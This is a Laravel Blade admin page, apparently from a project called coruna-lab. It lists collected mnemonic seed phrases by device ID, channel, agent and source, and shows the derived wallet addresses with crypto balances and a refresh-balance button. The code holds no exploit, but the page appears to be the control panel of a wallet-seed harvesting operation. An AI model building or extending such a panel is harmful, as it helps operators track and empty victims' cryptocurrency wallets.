Files
coruna-lab/resources/views/admin/mnemonics/index.blade.php
T
2026-08-24 06:49:07 +08:00

258 lines
9.3 KiB
PHP

@extends('admin.content')
@section('title', '助记词')
@section('content')
@php $portal = $portal ?? 'admin'; @endphp
<style>
.mn-wallet-wrap { padding: 12px 16px 16px; }
.mn-wallet-hd {
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
margin-bottom: 10px;
}
.mn-wallet-meta { color: #666; font-size: 13px; }
.mn-wallet-empty { color: #999; padding: 24px 0; text-align: center; }
.mn-wallet-table { width: 100%; border-collapse: collapse; font-size: 12px; }
.mn-wallet-table th,
.mn-wallet-table td {
border: 1px solid #e6e6e6;
padding: 8px 10px;
text-align: left;
vertical-align: top;
}
.mn-wallet-table th { background: #fafafa; font-weight: 600; white-space: nowrap; }
.mn-wallet-table .addr-cell {
word-break: break-all;
font-family: Menlo, Monaco, Consolas, monospace;
max-width: 280px;
}
.mn-wallet-table .coin-cell { white-space: nowrap; font-variant-numeric: tabular-nums; }
</style>
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
<div class="layui-form-item">
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off">
</div>
</div>
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">来源</label>
<div class="layui-input-block">
<select name="source">
<option value="">全部</option>
@foreach ($sources as $s)
<option value="{{ $s }}">{{ $s }}</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-mn-search">搜索</button>
</div>
</div>
</form>
<div class="layui-card-body">
<table id="LAY-mn-list" lay-filter="LAY-mn-list"></table>
<script type="text/html" id="LAY-mn-ops">
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wallets">查看钱包</a>
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var token = @json(csrf_token());
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
function esc(v) {
return String(v == null ? '' : v)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;');
}
function coinVal(v) {
return (v === null || v === undefined || v === '') ? '—' : esc(v);
}
function renderWalletsHtml(payload) {
var rows = (payload && payload.addresses) || [];
var html = '<div class="mn-wallet-wrap">';
html += '<div class="mn-wallet-hd">';
html += '<div class="mn-wallet-meta">助记词 #' + esc(payload.mnemonic_id) +
(payload.source ? ' · ' + esc(payload.source) : '') +
' · 关联地址 ' + rows.length + ' 个</div>';
if (rows.length && payload.refresh_url) {
html += '<button type="button" class="layui-btn layui-btn-sm" id="LAY-mn-refresh-bal">刷新余额</button>';
}
html += '</div>';
if (!rows.length) {
html += '<div class="mn-wallet-empty">暂无关联地址</div></div>';
return html;
}
html += '<div class="mn-wallet-body"><table class="mn-wallet-table"><thead><tr>' +
'<th>ID</th><th>Chain</th><th>地址</th><th>Index</th>' +
'<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th>' +
'</tr></thead><tbody>';
rows.forEach(function (r) {
html += '<tr>' +
'<td>' + esc(r.id) + '</td>' +
'<td>' + esc(r.chain_type || '—') + '</td>' +
'<td class="addr-cell">' + esc(r.address) + '</td>' +
'<td>' + (r.derive_index == null || r.derive_index === '' ? '—' : esc(r.derive_index)) + '</td>' +
'<td class="coin-cell">' + coinVal(r.usdt) + '</td>' +
'<td class="coin-cell">' + coinVal(r.trx) + '</td>' +
'<td class="coin-cell">' + coinVal(r.eth) + '</td>' +
'<td class="coin-cell">' + coinVal(r.btc) + '</td>' +
'<td class="coin-cell">' + coinVal(r.bnb) + '</td>' +
'</tr>';
});
html += '</tbody></table></div></div>';
return html;
}
function applyWalletsHtml(layero, payload) {
var html = renderWalletsHtml(payload);
var $wrap = layero.find('.mn-wallet-wrap').first();
if ($wrap.length) {
$wrap.replaceWith(html);
} else {
var $content = layero.find('.layui-layer-content').first();
if ($content.length) $content.html(html);
else layero.html(html);
}
bindRefresh(layero, payload);
}
function bindRefresh(layero, payload) {
layero.find('#LAY-mn-refresh-bal').off('click').on('click', function () {
var btn = $(this);
if (btn.prop('disabled')) return;
if (!payload.refresh_url) return;
btn.prop('disabled', true).addClass('layui-btn-disabled');
var loadIdx = layer.load(1, { shade: 0.1 });
$.ajax({
url: payload.refresh_url,
method: 'POST',
data: { _token: token },
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
btn.prop('disabled', false).removeClass('layui-btn-disabled');
return layer.msg((res && res.msg) || '刷新失败');
}
var next = res.data || {};
applyWalletsHtml(layero, next);
var ok = Number(next.refreshed || 0);
var fail = Number(next.failed || 0);
layer.msg(fail ? ('已写入地址表 ' + ok + ' 个,失败 ' + fail + ' 个') : ('已写入地址表 ' + ok + ' 个'));
var cooldown = Number(next.retry_after || 60);
var nextBtn = layero.find('#LAY-mn-refresh-bal');
nextBtn.prop('disabled', true).addClass('layui-btn-disabled');
setTimeout(function () {
nextBtn.prop('disabled', false).removeClass('layui-btn-disabled');
}, cooldown * 1000);
},
error: function (xhr) {
layer.close(loadIdx);
var body = xhr.responseJSON || {};
var retry = body.data && body.data.retry_after ? Number(body.data.retry_after) : 0;
if (xhr.status === 429 && retry > 0) {
layer.msg(body.msg || ('请 ' + retry + ' 秒后再试'));
setTimeout(function () {
btn.prop('disabled', false).removeClass('layui-btn-disabled');
}, retry * 1000);
return;
}
btn.prop('disabled', false).removeClass('layui-btn-disabled');
layer.msg(body.msg || body.message || '刷新失败');
}
});
});
}
function openWallets(row) {
var loadIdx = layer.load(1, { shade: 0.1 });
$.ajax({
url: row.wallets_url,
method: 'GET',
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var payload = res.data || {};
if (!payload.refresh_url && row.refresh_url) {
payload.refresh_url = row.refresh_url;
}
layer.open({
type: 1,
title: '关联钱包 — 助记词 #' + row.id,
area: ['920px', '480px'],
shadeClose: true,
content: renderWalletsHtml(payload),
success: function (layero) {
bindRefresh(layero, payload);
}
});
},
error: function (xhr) {
layer.close(loadIdx);
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '加载失败');
}
});
}
table.render({
elem: '#LAY-mn-list',
id: 'LAY-mn-list',
url: @json(route($portal.'.mnemonics.data')),
cols: [[
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'source', title: '来源', width: 140 },
{ field: 'mnemonic', title: '状态', width: 130 },
{ field: 'device_key', title: '设备 ID', minWidth: 220 },
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
{ title: '操作', width: 190, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
]],
page: true, limit: 20, limits: [10, 20, 30, 50],
request: { pageName: 'page', limitName: 'limit' },
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
form.on('submit(LAY-mn-search)', function (data) {
table.reload('LAY-mn-list', { where: data.field, page: { curr: 1 } });
return false;
});
table.on('tool(LAY-mn-list)', function (obj) {
if (obj.event === 'wallets') {
openWallets(obj.data);
return;
}
if (obj.event !== 'detail') return;
var url = obj.data.detail_url;
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
try {
if (parent && parent.layui && parent.layui.index) {
parent.layui.index.openTabsPage(url, title);
return;
}
} catch (e) {}
location.href = url;
});
});
</script>
@endpush